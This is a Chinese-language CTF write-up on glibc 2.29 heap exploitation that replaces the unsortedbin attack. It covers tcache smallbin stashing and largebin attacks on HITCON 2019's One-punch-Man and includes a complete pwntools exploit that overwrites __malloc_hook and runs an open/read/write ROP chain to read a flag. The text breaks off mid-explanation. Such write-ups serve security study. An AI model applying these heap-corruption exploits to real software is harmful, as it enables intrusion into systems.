glibc2.29下unsortedbin_attack的替代方法
阅读原文时间:2021年07月20日阅读:4

前言:

如今glibc已经发布了glibc 2.31版本,利用也变得越来越难,主要原因是新的版本中加入了更多的check,不过现在大多数的题目还是基于glibc2.23 2.27和2.29这3个版本。我们知道,glibc2.29相对于glibc2.23加入了更多的保护措施,而glibc2.29下对unsortedbin的保护措施相当于直接扼杀了unsortedbin attack,使其基本成为了过去式。本文将介绍一些glibc2.29下unsortbin attack的代替方法。

回顾

首先让我们回顾下unsortbin attack

的原理和作用,这里选取了glibc2.23的malloc.c的源码:

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; || __builtin_expect (victim->size > av->system_mem, 0))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; malloc_printerr (check_action, "malloc(): memory corruption",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;chunk2mem (victim), av);

我们可以看到,这里只check了size是否合法,而size一般都会满足条件,所以这个check形同虚设,紧接着的unsortedbin的解链操作:

&nbsp;/* remove from unsorted list */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unsorted_chunks (av)->bk = bck;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck->fd = unsorted_chunks (av);

当将一个 unsorted bin 取出的时候,会在 bck->fd的位置写入  unsorted_chunks (av) 。换句话说,如果我们控制了 victime->bk的值,我们就能控制bck的值,就能将 unsorted_chunks (av)写到任意地址 。这个值相当的大,我们一般用来攻击 global_max_fast ,使得更大size的chunk也被视为fastbin,从而进行fastbin attack;还有一个非常经典的利用就是house of orange。

接着来看glibc2.29中的源码:

for (;; )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; int iters = 0;
&nbsp; &nbsp; &nbsp; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = victim->bk;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size = chunksize (victim);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mchunkptr next = chunk_at_offset (victim, size);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (__glibc_unlikely (size <= 2 * SIZE_SZ)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; || __glibc_unlikely (size > av->system_mem))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; malloc_printerr ("malloc(): invalid size (unsorted)");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; malloc_printerr ("malloc(): invalid next size (unsorted)");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (__glibc_unlikely (bck->fd != victim)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; malloc_printerr ("malloc(): unsorted double linked list corrupted");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (__glibc_unlikely (prev_inuse (next)))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

我们可以看到glibc 2.29先对于2.23来说对unsorted bin加入了更多的check,其中双向链表的完整性检查对我们的利用来说是致命的,这也导致unsorted bin在glibc 2.29下几乎不可利用,所以我们要寻找一些代替的方法。我们以hitcon2019 quals One-punch-Man这题来实践下方法1和方法2,再以今年某新春公益赛的一题实践下方法3

程序分析

保护全开,libc版本是2.29,有seccomp:

ruan@ruan:/mnt/hgfs/shared/hitcon2019/one_punch$ seccomp-tools dump ./one_punch
&nbsp;line&nbsp; CODE&nbsp; JT&nbsp; &nbsp;JF&nbsp; &nbsp; &nbsp; K
=================================
&nbsp;0000: 0x20 0x00 0x00 0x00000004&nbsp; A = arch
&nbsp;0001: 0x15 0x01 0x00 0xc000003e&nbsp; if (A == ARCH_X86_64) goto 0003
&nbsp;0002: 0x06 0x00 0x00 0x00000000&nbsp; return KILL
&nbsp;0003: 0x20 0x00 0x00 0x00000000&nbsp; A = sys_number
&nbsp;0004: 0x15 0x00 0x01 0x0000000f&nbsp; if (A != rt_sigreturn) goto 0006
&nbsp;0005: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0006: 0x15 0x00 0x01 0x000000e7&nbsp; if (A != exit_group) goto 0008
&nbsp;0007: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0008: 0x15 0x00 0x01 0x0000003c&nbsp; if (A != exit) goto 0010
&nbsp;0009: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0010: 0x15 0x00 0x01 0x00000002&nbsp; if (A != open) goto 0012
&nbsp;0011: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0012: 0x15 0x00 0x01 0x00000000&nbsp; if (A != read) goto 0014
&nbsp;0013: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0014: 0x15 0x00 0x01 0x00000001&nbsp; if (A != write) goto 0016
&nbsp;0015: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0016: 0x15 0x00 0x01 0x0000000c&nbsp; if (A != brk) goto 0018
&nbsp;0017: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0018: 0x15 0x00 0x01 0x00000009&nbsp; if (A != mmap) goto 0020
&nbsp;0019: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0020: 0x15 0x00 0x01 0x0000000a&nbsp; if (A != mprotect) goto 0022
&nbsp;0021: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0022: 0x15 0x00 0x01 0x00000003&nbsp; if (A != close) goto 0024
&nbsp;0023: 0x06 0x00 0x00 0x7fff0000&nbsp; return ALLOW
&nbsp;0024: 0x06 0x00 0x00 0x00000000&nbsp; return KILL

retire函数里的UAF:

void retire()
{
&nbsp; unsigned int v0; // [rsp+Ch] [rbp-4h]

&nbsp; writen("idx: ");
&nbsp; v0 = get_int();
&nbsp; if ( v0 > 2 )
&nbsp; &nbsp; error((__int64)"invalid");
&nbsp; free((void *)chunks[v0].ptr);
}

debut函数会先把我们的输入读入到栈上,然后才复制到申请的堆块中,所以可以利用这来进行rop

unsigned __int64 __fastcall debut(__int64 a1, __int64 a2)
{
&nbsp; unsigned int v3; // [rsp+8h] [rbp-418h]
&nbsp; signed int v4; // [rsp+Ch] [rbp-414h]
&nbsp; char s[1032]; // [rsp+10h] [rbp-410h]
&nbsp; unsigned __int64 v6; // [rsp+418h] [rbp-8h]

&nbsp; v6 = __readfsqword(0x28u);
&nbsp; writen("idx: ");
&nbsp; v3 = get_int();
&nbsp; if ( v3 > 2 )
&nbsp; &nbsp; error((__int64)"invalid");
&nbsp; writen("hero name: ");
&nbsp; memset(s, 0, 0x400uLL);
&nbsp; v4 = read(0, s, 0x400uLL);
&nbsp; if ( v4 <= 0 )
&nbsp; &nbsp; error((__int64)"io");
&nbsp; s[v4 - 1] = 0;
&nbsp; if ( v4 <= 0x7F || v4 > 0x400 )
&nbsp; &nbsp; error((__int64)"poor hero name");
&nbsp; chunks[v3].ptr = (__int64)calloc(1uLL, v4);
&nbsp; chunks[v3].sz = v4;
&nbsp; strncpy((char *)chunks[v3].ptr, s, v4);
&nbsp; memset(s, 0, 0x400uLL);
&nbsp; return __readfsqword(0x28u) ^ v6;
}

一个后门选项:

&nbsp;__int64 __fastcall sub_15BB(__int64 a1, __int64 a2)
{
&nbsp; void *buf; // [rsp+8h] [rbp-8h]
 if ( *(_BYTE *)(heap_base + 0x20) <= 6 )
&nbsp; &nbsp; error((__int64)"gg");
&nbsp; buf = malloc(0x217uLL);
&nbsp; if ( !buf )
&nbsp; &nbsp; error((__int64)"err");
&nbsp; if ( read(0, buf, 0x217uLL) <= 0 )
&nbsp; &nbsp; error((__int64)"io");
&nbsp; puts("Serious Punch!!!");
&nbsp; puts(&unk_2128);
&nbsp; return puts(buf);
}

题目的debut函数用的是calloc函数,意味着进入了tcache的堆块是不会在被取出来了(具体原因可以参考calloc源码),但是后门函数里用的是malloc,所以我们的目标就是要使得*(_BYTE *)(heap_base + 0x20) > 6,已达到利用后门的效果

方法1

很自然的想到要是能用unsortedbin attack就好了,但是这在glibc2.29下是行不通的,原因就是前面分析过的,glibc2.29对unsortedbin进行了全方位的检查。

我后来谷歌了下wp(https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312),找到了一篇wp,里面用的方法有点类似于unsortedbin attack,不得不佩服大佬的思路。

文章里提到的方法是,当从smallbin里申请一个堆块的时候,会把剩下的smallbin也链入相对应大小的tcache,前提是相应大小的tcache没满,相对应的源码为:

if (in_smallbin_range (nb))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; idx = smallbin_index (nb);
&nbsp; &nbsp; &nbsp; bin = bin_at (av, idx);

&nbsp; &nbsp; &nbsp; if ((victim = last (bin)) != bin)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = victim->bk;
&nbsp; &nbsp; if (__glibc_unlikely (bck->fd != victim))
&nbsp; &nbsp; &nbsp; malloc_printerr ("malloc(): smallbin double linked list corrupted");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set_inuse_bit_at_offset (victim, nb);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bin->bk = bck;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck->fd = bin;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (av != &main_arena)
&nbsp; &nbsp; &nbsp; set_non_main_arena (victim);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
&nbsp; &nbsp; /* While we‘re here, if we see other chunks of the same size,
&nbsp; &nbsp; &nbsp; &nbsp;stash them in the tcache.&nbsp; */
&nbsp; &nbsp; size_t tc_idx = csize2tidx (nb);
&nbsp; &nbsp; if (tcache && tc_idx < mp_.tcache_bins)
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; mchunkptr tc_victim;

&nbsp; &nbsp; &nbsp; &nbsp; /* While bin not empty and tcache not full, copy chunks over.&nbsp; */
&nbsp; &nbsp; &nbsp; &nbsp; while (tcache->counts[tc_idx] < mp_.tcache_count
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&& (tc_victim = last (bin)) != bin)
&nbsp; &nbsp; {// 如果smallbin里相对应大小的tcache没满的话,就链入tcache
&nbsp; &nbsp; &nbsp; if (tc_victim != 0)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = tc_victim->bk;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set_inuse_bit_at_offset (tc_victim, nb);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (av != &main_arena)
&nbsp; &nbsp; &nbsp; set_non_main_arena (tc_victim);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bin->bk = bck;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck->fd = bin;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tcache_put (tc_victim, tc_idx);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; }
#endif
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; void *p = chunk2mem (victim);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; alloc_perturb (p, bytes);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return p;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

此处是没有对smallbin进行check的:

if (tc_victim != 0)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = tc_victim->bk;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set_inuse_bit_at_offset (tc_victim, nb);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (av != &main_arena)
&nbsp; &nbsp; &nbsp; set_non_main_arena (tc_victim);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bin->bk = bck;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck->fd = bin;

所以我们可以伪造tc_victim->bk,然后到了bck->fd=bin这一句,就可以向一个地址写入一个libc的值了,类似于unsortedbin attack,要注意的话就是相对应大小的tcache bin为6个,这样的话tcache_put后,就会退出循环(tcache相同size的chunk最多7个),把chunk返回,不会造成段错误

这里还有个大问题,就是程序申请的堆块大小范围在0x7f~0x400之间,所以在tcache没满的情况下,free后都会进入tcache,那要怎么让一个大小的堆块,比如0x100大小的堆块,相对应的tcache bin有6块,而smallbin有两块呢,这里用到了last_remainder:

&nbsp;if (in_smallbin_range (nb) &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck == unsorted_chunks (av) &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim == av->last_remainder &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* split and reattach remainder */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remainder_size = size - nb;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remainder = chunk_at_offset (victim, nb);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; av->last_remainder = remainder;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remainder->bk = remainder->fd = unsorted_chunks (av);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!in_smallbin_range (remainder_size))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remainder->fd_nextsize = NULL;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remainder->bk_nextsize = NULL;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set_head (victim, nb | PREV_INUSE |
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (av != &main_arena ? NON_MAIN_ARENA : 0));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set_head (remainder, remainder_size | PREV_INUSE);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set_foot (remainder, remainder_size);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; check_malloced_chunk (av, victim, nb);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; void *p = chunk2mem (victim);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; alloc_perturb (p, bytes);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return p;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

比如我们把unsortedbin切成0x100的大小,如果在calloc一个比这个大的chunk,那这个unsortedbin就会被放到相对应大小的smallbin,对应的源码为:

/* place chunk in bin */

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (in_smallbin_range (size))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim_index = smallbin_index (size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = bin_at (av, victim_index);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = bck->fd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim_index = largebin_index (size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = bin_at (av, victim_index);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = bck->fd;

这样的话一切条件都有了 :P

还有一点要注意的是,我们用这个方法把heap+0x30的地方改写了,这样的话其实tcache会 corrupt 掉:

pwndbg> bins
tcachebins
0x100 [&nbsp; 7]: 0x563a59056000 —? 0x563a59053760 —? 0x563a59053660 —? 0x563a59053560 —? 0x563a59053460 —? 0x563a59053360 —? 0x563a59053260 ?— 0x0
0x1d0 [-112]: 0x0
0x1e0 [-19]: 0x0
0x1f0 [-41]: 0x0
0x200 [-45]: 0x0
0x210 [-99]: 0x0
0x220 [125]: 0x0
0x410 [&nbsp; 7]: 0x563a590550c0 —? 0x563a59054cb0 —? 0x563a590548a0 —? 0x563a59054490 —? 0x563a59054080 —? 0x563a59053c70 —? 0x563a59053860 ?— 0x0

所以我们要在攻击前先申请一个0x217大小的堆块,然后释放掉,在攻击

exp为:

from pwn import *

context.arch = ‘amd64‘

def debug(addr,PIE=True):
&nbsp; if PIE:
&nbsp; &nbsp; text_base = int(os.popen("pmap {}| awk ‘{{print $1}}‘".format(p.pid)).readlines()[1], 16)
&nbsp; &nbsp; gdb.attach(p,‘b *{}‘.format(hex(text_base+addr)))
&nbsp; else:
&nbsp; &nbsp; gdb.attach(p,"b *{}".format(hex(addr)))


def cmd(c):
&nbsp; p.recvuntil("> ")
&nbsp; p.sendline(str(c))

def add(idx,name):
&nbsp; cmd(1)
&nbsp; p.recvuntil("idx: ")
&nbsp; p.sendline(str(idx))
&nbsp; p.recvuntil("name: ")
&nbsp; p.send(name)
def dele(idx):
&nbsp; cmd(4)
&nbsp; p.recvuntil("idx: ")
&nbsp; p.sendline(str(idx))

def show(idx):
&nbsp; cmd(3)
&nbsp; p.recvuntil("idx: ")
&nbsp; p.sendline(str(idx))

def edit(idx,name):
&nbsp; cmd(2)
&nbsp; p.recvuntil("idx: ")
&nbsp; p.sendline(str(idx))
&nbsp; p.recvuntil("name: ")
&nbsp; p.send(name)

def main(host,port=26976):
&nbsp; global p
&nbsp; if host:
&nbsp; &nbsp; p = remote(host,port)
&nbsp; else:
&nbsp; &nbsp; p = process("./one_punch")
&nbsp; &nbsp; # debug(0x0000000000015BB)
&nbsp; &nbsp; # gdb.attach(p)
&nbsp; for i in range(2):
&nbsp; &nbsp; add(i,"A"*0xf8)
&nbsp; dele(0)
&nbsp; dele(1)
&nbsp; show(1)
&nbsp; p.recvuntil(": ")
&nbsp; heap = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x260
&nbsp; for i in range(4):
&nbsp; &nbsp; add(0,"A"*0xf8)
&nbsp; &nbsp; dele(0)
&nbsp; for i in range(7):
&nbsp; &nbsp; add(0,"A"*0x400)
&nbsp; &nbsp; dele(0)
&nbsp; for i in range(2):
&nbsp; &nbsp; add(i,"A"*0x400)
&nbsp; dele(0)
&nbsp; show(0)
&nbsp; p.recvuntil(": ")
&nbsp; libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x1e4ca0
&nbsp; info("heap : " + hex(heap))
&nbsp; info("libc : " + hex(libc.address))
&nbsp; add(1,"A"*0x300)
&nbsp; add(2,"A"*0x400)
&nbsp; add(1,"A"*0x400)
&nbsp; dele(2)
&nbsp; add(1,"A"*0x300)
&nbsp; add(1,"A"*0x400)
&nbsp; add(0,"A"*0x217)
&nbsp; payload = b"\x00"*0x108+b"/flag.txt"+b"\x00"*(0x7+0x1f0)+p64(0x101)+p64(heap+0x27d0)+p64(heap+0x30-0x10-5)
&nbsp; edit(2,payload)
&nbsp; dele(0)
&nbsp; add(2,"A"*0xf8)
&nbsp; edit(0,p64(libc.symbols["__malloc_hook"]))
&nbsp; cmd(str(50056))
&nbsp; p.send("C"*8)
&nbsp; cmd(str(50056))
&nbsp; p.send(p64(libc.address+0x000000000008cfd6))
&nbsp; # pause()
&nbsp; # 0x000000000008cfd6: add rsp, 0x48; ret;
&nbsp; # 0x0000000000026542: pop rdi; ret;
&nbsp; # 0x000000000012bdc9: pop rdx; pop rsi; ret;
&nbsp; # 0x0000000000047cf8: pop rax; ret;
&nbsp; # 0x00000000000cf6c5: syscall; ret;
&nbsp; p_rdi = 0x0000000000026542+libc.address
&nbsp; p_rdx_rsi = 0x000000000012bdc9+libc.address
&nbsp; p_rax = 0x0000000000047cf8+libc.address
&nbsp; syscall_ret = 0x00000000000cf6c5+libc.address
&nbsp; payload = p64(p_rdi)+p64(heap+0x2df8)+p64(p_rdx_rsi)+p64(0)*2+p64(p_rax)+p64(2)+p64(syscall_ret)
&nbsp; payload += p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)
&nbsp; payload += p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)
&nbsp; payload += p64(p_rdi)+p64(0)+p64(p_rax)+p64(0)+p64(syscall_ret)
&nbsp; payload = payload.ljust(0x100,b"\x00")
&nbsp; gdb.attach(p)
&nbsp; add(2,payload)
&nbsp; p.interactive()

if __name__ == "__main__":
&nbsp; libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
&nbsp; main(args[‘REMOTE‘])

方法2

方法2是Balsn战队的wp(https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man)里用到的largebin_attack,首先我觉得一个难点是这题申请的堆块最大为0x410,怎么把大小比0x410还大的unsortedbin放入largebin是第一个要解决的问题,所以从源码入手:

&nbsp;/*
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;If a small request, try to use last remainder if it is the
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;only chunk in unsorted bin.&nbsp; This helps promote locality for
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;runs of consecutive small requests. This is the only
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exception to best-fit, and applies only when there is
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;no exact fit for a small chunk.
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (in_smallbin_range (nb) &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck == unsorted_chunks (av) &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim == av->last_remainder &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* split and reattach remainder */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remainder_size = size - nb;

这是判断是否要把last remainder进行切割的代码,如果条件不满足的话就会进入下面的代码:

/* remove from unsorted list */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (__glibc_unlikely (bck->fd != victim))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; malloc_printerr ("malloc(): corrupted unsorted chunks 3");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unsorted_chunks (av)->bk = bck;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck->fd = unsorted_chunks (av);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Take now instead of binning if exact fit */
&nbsp; &nbsp; //我们使得size != nb,跳过这个代码块
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (size == nb)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set_inuse_bit_at_offset (victim, size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (av != &main_arena)
&nbsp; &nbsp; set_non_main_arena (victim);
.........................................................
&nbsp; &nbsp; }
#endif
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* place chunk in bin */

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (in_smallbin_range (size))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim_index = smallbin_index (size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = bin_at (av, victim_index);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = bck->fd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {// 将chunk置入largebin
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim_index = largebin_index (size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = bin_at (av, victim_index);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = bck->fd;

所以wp里的堆布局为:

这样当我们malloc(0x200)的堆块时,就会不满足bck == unsorted_chunks (av)和if (size == nb)从而把这个chunk(0x5601e80414c0)置入largebin中,第二次循环的时候,发现unsorted bin的size刚刚好,直接就取出返回

largebins
0x400: 0x5601e80414c0 —? 0x7f58e3c64090 (main_arena+1104)&nbsp; ?— 0x5601e80414c0

这样的话就解决了这个问题,剩下的就是怎么进行largebin_attack了,原理为:

&nbsp;if (in_smallbin_range (size))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim_index = smallbin_index (size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = bin_at (av, victim_index);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = bck->fd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; //要放入的chunk是largebin
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim_index = largebin_index (size);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = bin_at (av, victim_index);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = bck->fd;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* maintain large bins in sorted order */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (fwd != bck)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Or with inuse bit to speed comparisons */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size |= PREV_INUSE;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* if smaller than smallest, bypass loop below */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; assert (chunk_main_arena (bck->bk));
